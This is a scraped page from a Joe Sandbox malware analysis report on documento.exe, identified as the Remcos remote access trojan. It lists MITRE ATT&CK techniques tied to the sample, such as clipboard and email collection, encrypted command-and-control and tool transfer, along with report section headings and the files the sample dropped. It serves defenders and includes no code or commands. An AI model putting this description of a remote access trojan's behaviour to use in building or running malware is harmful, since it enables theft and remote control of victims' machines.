Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report documento.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Remcos

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\1tvwxxbc.uq0.psm1

C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry

C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\chatrum.sag

C:\Users\user\AppData\Local\Temp\Deinotherium\Konservatorier.Paa

C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe

C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\hektowattens.txt

C:\Users\user\AppData\Local\Temp\fb53bhiv.doo.psm1

C:\Users\user\AppData\Local\Temp\joefz3jg.x0w.ps1

C:\Users\user\AppData\Local\Temp\k5sib43s.z3j.ps1

C:\Users\user\AppData\Local\Temp\nxjimhd4.o1x.psm1

Windows Analysis Report
documento.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre